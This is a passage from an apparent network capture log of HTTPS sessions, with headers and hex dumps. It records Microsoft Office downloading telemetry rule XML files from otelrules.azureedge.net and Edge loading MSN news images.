2024-10-31 02:04:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:33 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020433Z-16849878b785jrf8dn0d2rczaw0000000a40000000002d0k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:33 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:33 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:33 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: f17b3a4e-c01e-002b-72e7-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020433Z-17c5cb586f672xmrz843mf85fn00000007r000000000naz2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:33 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020433Z-16849878b78qwx7pmw9x5fub1c0000000740000000000ame x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:34 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020434Z-15b8d89586fmhkw429ba5n22m80000000ad0000000006db1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:34 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:34 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:34 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 09711dcd-d01e-0066-4b94-2aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020434Z-159b85dff8flzqhfhC1DFWrn0s00000000q000000000mmcq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:34 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:34 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 45a27b82-c01e-002b-5784-2a6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020434Z-159b85dff8fbbwhzhC1DFWwpe8000000014g00000000g7zd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:34 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	49896	23.47.50.151	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1P.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:34 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 19 Oct 2024 13:29:47 GMT X-Datacenter: westus X-ActivityId: 1153ee6e-5fb5-4488-b4ee-903db3c5c2a0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1P X-Source-Length: 105715 Content-Length: 105715 Cache-Control: public, max-age=213847 Expires: Sat, 02 Nov 2024 13:28:41 GMT Date: Thu, 31 Oct 2024 02:04:34 GMT Connection: close
2024-10-31 02:04:34 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-31 02:04:34 UTC	16384	IN	Data Raw: d1 34 48 97 92 c1 2d cb 56 83 08 76 d8 25 b9 6e c3 08 57 57 56 db 02 b0 e9 0c af 1c 17 60 a1 b6 57 8d 0e c1 b6 c8 db 43 b0 70 f6 19 1e 4b 62 b2 b0 dc 3d 97 92 cc 83 31 c3 70 dc b7 89 99 06 63 86 e1 e6 27 92 d5 a1 e6 3c 2d c3 c9 6e 5a b4 56 66 c3 70 f2 5b 96 ed 0b 32 d0 f6 1d 24 b7 25 bb 41 99 78 75 75 96 e5 96 80 23 c8 74 96 e5 96 05 e1 e3 ac ba cb 2c 61 5e 31 cb 72 d5 85 17 7b 46 37 8c b1 d0 4a 3c 74 6d 96 14 5a 8f 1d 5b 60 cd 78 f1 eb 06 36 de 36 d8 0d b6 db 6c 06 f1 eb ab 63 35 b7 8d ba 18 de 3d 6d b2 4c 6d e3 6c 03 5b 78 f1 80 59 b7 46 d8 05 db 74 78 c0 08 db 1b 6d 00 47 92 e8 db 65 17 96 dd 1b 68 0b 36 ea f5 80 6b 6f 1b 60 1a db c6 db 03 5b 78 db 00 d6 de 36 c0 35 e3 6d b0 06 db 6d b6 03 6d e3 6c 03 5e 3c 6d 80 36 de 3c 60 0d b6 db 60 18 f1 b6 d8 33 Data Ascii: 4H-Vv%nWWV`WCpKb=1pc'<-nZVfp[2$%Axuu#t,a^1r{F7J<tmZ[`x66lc5=mLml[xYFtxmGeh6ko`[x65mmml^<m6<``3
2024-10-31 02:04:34 UTC	2220	IN	Data Raw: 16 84 25 f4 f3 54 2a 7f c4 c0 3d e5 c6 dd 91 f1 21 5d d5 fb 35 93 69 49 d4 1e e7 50 a5 0d 8d e3 0f 01 35 36 96 13 e5 2a c2 0e 92 ca 91 74 9c c5 75 3f a3 94 50 93 50 4a 0f 0d 3b 9c 15 5c bd 68 c2 ce 29 d0 c1 8e fd 1d 5e 23 44 e3 b5 32 72 25 0a aa c9 e7 11 d9 21 aa 2b a8 90 00 04 78 12 7d c3 b5 a0 21 33 52 49 ac 67 af 2a 49 6a 98 ae 00 62 3c 64 81 e0 05 5c 49 1d 0b 76 59 00 bc bc 04 ce 22 69 53 f8 98 ee 60 b6 54 a0 54 0e 11 48 93 04 9e 1c 39 97 15 61 2a 56 25 a8 ac f2 1c fc 34 d8 1a 92 52 54 02 ae 0c 09 88 09 12 29 c6 b4 75 92 47 2b 59 d9 11 45 6b 20 22 aa d2 98 a4 f0 d6 44 e6 f4 20 58 50 a2 89 e4 8a 6d 05 5f 6e f6 b0 95 ee 44 a6 38 64 c4 a2 0a 65 50 49 e1 04 7b e5 ac 59 6e c8 30 d2 de 1d 3d 41 18 3c 9b b0 64 04 fa 47 89 67 37 79 38 00 db 59 91 00 8a 4c 7b Data Ascii: %T=!]5iIP56tu?PPJ;\h)^#D2r%!+x}!3RIgIjb<d\IvY"iS`TTH9aV%4RT)uG+YEk "D XPm_nD8dePI{Yn0=A<dGg7y8YL{
2024-10-31 02:04:34 UTC	16384	IN	Data Raw: 32 a0 27 98 d7 f4 71 8f 4f 6d 1f eb 23 10 15 15 89 e0 73 da f4 8f 5b a3 27 56 d3 e5 4d ef f2 b1 61 60 37 4e 32 c4 3b 6f 06 4a 0a d9 f8 b8 c4 cb f4 93 b5 64 17 93 c5 cb b5 0a d5 a7 89 fc 5a 8d aa 3b 11 2c a1 80 82 34 72 77 8e 86 e2 5b 11 09 57 4a 72 05 c4 37 67 20 d4 8a 50 b7 09 56 7f 2f 73 43 30 5d 19 f6 17 4b 87 78 98 4d c5 27 eb 83 c3 61 49 82 a2 00 3c 6b 1e e7 45 5e e9 ad f9 70 cf 32 75 d7 23 93 c5 eb 25 ba e5 fd a5 e1 23 04 75 09 f8 6f a7 62 a4 fb 43 50 b6 16 47 9c a4 9f f1 fd 1e d9 b8 16 3c d6 80 a8 f3 55 22 38 49 d7 8b 99 f3 09 b7 29 40 11 cc 0d 7c 4e bd cf 96 7d 64 61 95 67 ca d7 aa c7 81 73 29 51 ac 0d a5 ec 25 5a 94 fd dc 0b b7 f1 99 50 13 14 99 87 0f e6 63 48 f0 03 ec e3 e7 93 59 42 4d f8 24 4e 11 de e8 24 93 6a 0f f8 fd 8f dd a5 fc b5 d9 fd 92 Data Ascii: 2'qOm#s['VMa`7N2;oJdZ;,4rw[WJr7g PV/sC0]KxM'aI<kE^p2u#%#uobCPG<U"8I)@\|N}dags)Q%ZPcHYBM$N$j
2024-10-31 02:04:34 UTC	16384	IN	Data Raw: 9a 7e e8 f6 07 5d d1 09 42 c0 04 98 26 29 31 f8 b8 c5 06 74 ce ba d3 c4 02 d7 09 42 46 7f f6 af b0 77 34 f5 94 98 92 12 39 02 67 df 0f 48 4d b6 02 7a 92 3e b1 49 ec 3e d7 0d 63 48 03 b5 a8 29 48 d3 11 1e 3f 8b 84 ab 83 22 ae f3 ee 7d f1 b2 08 25 31 f9 7b 5d 30 1e 0e 5e 2f f2 2f 3e b4 05 f5 66 22 2e 0e 1d af 70 fd 4b 94 7c 3b 9d 23 88 ee 65 88 8d 87 ea 5d 22 1c 83 b4 76 b1 c3 b0 05 0e b0 cc 5d 21 d8 03 87 af 5e 87 40 58 07 86 59 3c b9 bc a3 90 02 5d 59 0b a6 17 60 51 eb 24 32 61 6e c0 10 64 14 77 c1 c1 ee 17 0d 80 27 56 58 87 9d cc 40 07 b9 e3 23 af 73 a0 07 e2 f1 93 b9 bf 17 40 51 b7 7f 17 90 c0 28 df 83 bc 3c c2 d8 14 6d db 0e d6 e1 80 55 eb b4 37 0c 02 ad bb c3 58 b1 ea de b3 a9 83 6e c5 c5 03 e9 11 85 3f bc a8 0f 39 4e 30 57 29 28 ae 2e be 23 11 9d 84 Data Ascii: ~]B&)1tBFw49gHMz>I>cH)H?"}%1{]0^//>f".pK\|;#e]"v]!^@XY<]Y`Q$2andw'VX@#s@Q(<mU7Xn?9N0W)(.#
2024-10-31 02:04:34 UTC	7952	IN	Data Raw: 75 b0 2c 7a ad 27 7b 79 38 8d 54 12 71 28 9d 74 d7 66 81 f2 37 7a ab f7 a5 2b ea 6e 6c 07 08 8d 89 00 17 13 77 68 53 19 d9 a7 7f 27 cb 2e ba 0b e9 8c 9b e2 b2 f6 7e e3 d9 e8 26 75 dd 6f 51 d7 15 a5 29 b8 9b 26 84 7c 25 40 64 64 e9 cc 34 a1 62 e1 10 7c a3 90 d9 c6 84 1e 0c 9b cd d2 3c 84 72 a1 c4 66 b9 38 c6 ed f5 1f 84 a6 92 56 af 28 d3 41 cd f9 52 d4 d4 d4 6d da f1 0d db 82 6e 50 a1 e5 89 30 3c da e5 f0 98 a4 f2 87 89 bf 71 6b 4a 6d a6 42 7c b8 c1 94 a7 87 1a 3a e3 8f 32 ae c4 88 85 0f 2d 33 1c 5c 9b 7b e2 90 13 69 04 9a cf c2 8e 55 98 cb 6b c9 ee cf 3e 57 95 7b 6a c4 1a c6 ef a7 2a 52 94 54 b5 0f 88 c8 a4 e5 b6 20 cb 0d c0 3a e0 13 81 69 b4 4e 25 5c cf fa 06 6e 47 cb 5b 51 fe e2 b1 eb 23 44 8e e3 2e 52 af 59 44 56 20 08 03 21 11 14 e4 f9 ef 3b 8d b9 73 Data Ascii: u,z'{y8Tq(tf7z+nlwhS'.~&uoQ)&\|%@dd4b\|<rf8V(ARmnP0<qkJmB\|:2-3\{iUk>W{j*RT :iN%\nG[Q#D.RYDV !;s
2024-10-31 02:04:35 UTC	16384	IN	Data Raw: 92 3b 61 b8 7e 55 a5 09 5b 72 92 e3 5e a0 b3 b3 3f f2 4e b5 0a 1f b2 50 19 46 be 3f 67 5b 9f f2 5e b5 63 c8 9b 68 98 ca 4f 6b e1 b0 7f 93 71 57 ea 7c 97 4b 93 ed 41 d7 02 6d 9d d0 ff 00 93 75 73 17 2d 5a 50 11 48 50 ff 00 c9 cc 1f f2 5b be 8d 9b 51 c6 69 db 57 e7 d2 34 2f 60 3c df 45 d2 bf f6 92 f2 ba f8 86 67 a3 8f f9 45 e9 1f d9 b3 4d 7e 2f bb bd cf f9 35 d8 50 45 84 a6 47 95 60 e2 23 bc 43 f3 40 13 31 1b 19 05 0d 1e 7f 21 d2 ff 00 f3 5e fa f8 8e ce 91 5e be eb ee 05 0d e9 ae 84 52 2b 5d 1c 0b bd 77 53 7c 27 1d fb b2 91 4f 31 a4 eb 9b 4c 92 83 29 24 7d 68 c8 2f 08 aa 07 70 99 7d 4b 47 4e 3f 46 94 17 92 5e 81 58 25 1b 8b 3f dc 52 c9 8d 49 74 06 e2 27 cc a0 9f cb 58 76 07 15 05 38 64 ed 2b 8a f7 7b 9f 4f 0a 5e 54 01 ad de 5a 47 95 6a 4c d0 c1 30 76 87 0d Data Ascii: ;a~U[r^?NPF?g[^chOkqW\|KAmus-ZPHP[QiW4/`<EgEM~/5PEG`#C@1!^^R+]wS\|'O1L)$}h/p}KGN?F^X%?RIt'Xv8d+{O^TZGjL0v
2024-10-31 02:04:35 UTC	14144	IN	Data Raw: 0c a3 93 e8 4d 3d f9 13 42 d2 6f e0 09 9c 2b 04 0a 56 93 97 86 75 72 96 b0 6c d2 80 19 e3 a3 e6 66 20 72 6a 16 ee 11 47 cb a9 a4 b2 69 6d bf 31 d9 1b 7a 67 52 4f 1a fb 5e ef 04 cc c3 52 c2 85 7c 49 11 cc 7b db 3d 3a 2f 11 09 c0 38 7b f3 96 77 21 b5 35 c7 20 cc 8d 8d 2b a9 ac 7d 6c 62 50 06 a9 f1 64 5f 4c 51 49 1b 64 31 60 50 49 a5 69 f5 f7 74 b0 ef 4c 43 0b 11 38 73 73 ad dd 99 15 8d 78 38 01 5c c0 19 72 97 54 12 9a 35 28 da 79 00 b2 6e 28 10 a4 a8 83 ab e8 fa 4f 5b f5 06 ea 51 76 00 54 00 a3 48 e3 2f 8b 4d c2 0c 17 3d 24 69 13 ee fb 3e 0d 5d 18 4a 35 28 a7 96 4f 6a 2c f6 2c 57 15 15 42 c1 e4 42 bd be c7 11 7d 3d b5 d5 76 12 76 02 93 ff 00 42 fc c0 aa ea 2a 9b 85 20 54 42 8f b1 ac 74 fe b8 bd 6d 50 a3 8b 8a b3 1c df 82 fa 3d 48 ab d3 92 7e 57 16 5d 9d 4f Data Ascii: M=Bo+Vurlf rjGim1zgRO^R\|I{=:/8{w!5 +}lbPd_LQId1`PIitLC8ssx8\rT5(yn(O[QvTH/M=$i>]J5(Oj,,WBB}=vvB* TBtmP=H~W]O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49895	23.47.50.151	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:34 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-31 02:04:34 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Mon, 12 Aug 2024 01:13:32 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: be192b45-753e-4017-8c28-8930da91b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=141680 Expires: Fri, 01 Nov 2024 17:25:54 GMT Date: Thu, 31 Oct 2024 02:04:34 GMT Connection: close
